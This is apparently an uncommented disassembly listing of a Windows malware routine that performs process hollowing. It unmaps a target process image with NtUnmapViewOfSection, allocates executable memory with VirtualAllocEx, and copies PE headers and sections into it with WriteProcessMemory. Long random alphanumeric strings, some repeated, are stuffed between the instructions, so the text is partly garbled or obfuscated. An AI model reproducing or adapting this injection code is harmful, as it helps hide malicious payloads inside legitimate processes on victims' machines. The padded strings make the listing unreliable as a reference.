wFfQqnpmMrJmgjPePOaIfxIuSjsP6EnUPOM7kSZrpPtKT8vsukKx3je97U8h4KphdZHBHR36YSsze7LTYauW400GJNaAU39BYEq49BLuRBaOwKpXj8OYe70pGCoR91XIMVVINEBG4GKU2KNY0d4yolw0NbxHn3v0NBbKZQjPGh3Ixgw6Yz156yuBz54Mg4tblK8pMOC3XPU7Twz649ZHaWPGTvVsswd1FqRPfBYofXvEbJ1wD5WRMhsX4CGq3jLBM2BDPT0DkLCnBlFjEzZxKvpx73UM5Hu5l42ih2Ub6tL8wm1NacBO3TFqTaqvQ0Jozwpk89STudlPicIGCBnpOQtPDf9DLzugUxI96QObtRuZH0hQCU2pMtJTdKR2api4Sf4VEIJWXchlSJ7RUjS4IbMyTVvH4wuJmDd0LF95LK2uYbYGCcn1oSDgiOxUaMBJSH9oGgfpkXs8irKS6Ze2iCvDa6S7ip59isLqbJaw68RBzxYHiLGwR46UxFet4rFf2UhkhpOl0whg1gWtPRB7wXf1hmkdQPrjGZttqOA26uFvXZ3qSUOnZHTePpc5eLFlf7JcWDdarIacsUdrsF4ydPNk5tWJBpflykKh3EDqcgMN5krRYtCq5F4ONUJYTDzmuFGGULwBbOw7c9pUbeUiXYp2p5Ei5PGIRzszNV7n7aoqj7LNFZXPTMahK8OO7R3D01l8uClEQFmtVSesx6qPvphHT67rvTAJgOHLlnumVkOczRw23vqbAnhLUNoyE4i6eNmgkChkLd4kKficJfxaDyi2HrX2T2mPCLFIvyAoWAB2u3Rc5ts8sDQwlMnLCSwdQZkwZXQxdC6AGU79JU7AJnx85jxSlZWeeylETvmhM44ZGp0BOobRV6DCCmBQAW02VoZ5BzwtPFBtaGqvDqAz4Xx8BTLfSoDaPH5I7i090Abud3r9DDjTwB8711DRYrKAcBODLRyvzAJDVc4ICMLofTNoJ7RfOjlJZ5MKDsPc7uqFak5eghr7bXt1UsR6fBz1XrppqSfA45HrXPaty42ZgMdQMVZlLS6F4zRS4PXyc1dfqbderxIlIJUkoJNF24Zl9bwy8
mov edx, dword [ebp - 0x874]
push edx
mov eax, dword [0x428ee4]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x401584
push str._t4_if
call fcn.00401000
add esp, 4
push 0
push 4
lea ecx, [ebp - 0x878]
push ecx
mov edx, dword [ebp - 0x874]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x428ee0]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0x894], str.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
push str._t4_if2
call fcn.00401000
add esp, 4
mov edx, dword [ebp - 0x80c]
mov eax, dword [ebp - 0x878]
cmp eax, dword [edx + 0x34]
sete cl
mov byte [ebp - 0x88d], cl
mov edx, dword [ebp - 0x80c]
mov eax, dword [ebp - 0x878]
cmp eax, dword [edx + 0x34]
jne 0x4013c6
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x870], eax
mov ecx, dword [ebp - 0x878]
push ecx
mov edx, dword [0x428ee0]
push edx
call dword [ebp - 0x870]
mov dword [ebp - 0x898], str.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
call dword [sym.imp.KERNEL32.dll_GetLastError]
add eax, str._t4_if3
push eax
call fcn.00401000
add esp, 4
mov dword [ebp - 0x820], 0
push 0x40
push 0x3000
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x80c]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [0x428ee0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x89c], str.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
cmp dword [ebp - 0x820], 0
je 0x40157a
mov edx, dword [ebp + 8]
mov dword [ebp - 0x8a0], edx
push 0
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x820]
push eax
mov ecx, dword [0x428ee0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x8b0], str.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
mov dword [ebp - 0x810], 0
jmp 0x401485
mov edx, dword [ebp - 0x810]
add edx, 1
mov dword [ebp - 0x810], edx
mov eax, dword [ebp - 0x80c]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x810], ecx
jge 0x4014f0
mov edx, dword [ebp - 0x81c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x810]
imul ecx, ecx, 0x28
lea edx, [eax + ecx + 0xf8]
mov dword [ebp - 0x86c], edx
push 0
mov eax, dword [ebp - 0x86c]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x86c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ebp - 0x820]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x428ee0]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x401476
mov dword [ebp - 0x8a4], str.FPsSG52AWHzNaQekIP5RIc0MdPdgGimjfTt9sh1gKXhbByWWEapA8iGDZPO12W3NupIqxf2AYYgV4ZlP2rMG3Wl6m0kMD9oY3EQlSUndLzi5eYR0nKavmrZTYydimsiYco6WxAzuh81CBi25MhE7tsw5zjVtRe1sqt3Z25CXlPnnAwsQFhFeYkET2bwoOfNdhImhoddRZmSpXIMysuclyCA8BkiyX9Pavqd7qalDIWNDTjIGPiN6O18zkj5l8jcZGR3GEPhrjIMMZ7osMLSPvTvErOWgfaFzUX6bqbcaawXgEM8kBserTKsmeU8ltREvsqECWGF2zh5EyVhOOxQ2zjNFpG2LbApCE2HoiGx4Wl2LPXXsNtH5bL5iM8mqO4182DaGo2Fh9VgorcZC9tEQOciFwRfqLosknr7BLGg5Fp8ZdPopOjjUP3fxfkN38NulTLZeSJEDnIlydsCRC0LBfIFtmJvA2n625XgB0kHfOPGgSQuXS6Ai1hU7U2SCOjEnvLkU5wSdqDQWAO9f7olmYTsy04REgLSj4sWJDJUN1o4xB8Hg3NEA7syLsW4aOn7PVG1h1zLyDIuKZ571xKKCgslLiX6yDvgidFSJknT8OGWYp93YhVyFX6xR8hGhQLZ4rOHwx1ySv6Dro9Mi4iqS7KughaKcQMscR2GLCGApwPk1DgD9FxmIug7QtAoxUmau2h1I08QdDcY4bngZ7Ekh8tiCmOzX9lM8ix4Vs6cKJ4RrUvLa6lEqc3vI8yvlI2esA0WOtuHbBJHeL1S1dz0XRw6ocvX4K0cRz7DX0JNytNXsoEkEV91uMS7uy0sSfzFMakmNIej1cPvvbdlif06ny3hQajyaq4s3ilrdsH5R09r6xLtvOjMpDrohcFMzPjKixBmZ3taZiLwNdY4OhvPcrXAO8saSPJCdLHLLT0EPdGXUAJl4d9jnk4kfIhKKsskIjtcGmt5q199VaQnyhgPPzo2RxFcMq3xUvoKhHORUMAL5RgmXb8claZocGFKL4vQS23E61CXcWwhGqCnZJFA7QnsvjHFgU4WqU3dYMq6Ik9zNSSWdrUcy5SbPKjXt7Qs1K1WwzznsI1XQBaoVgJXg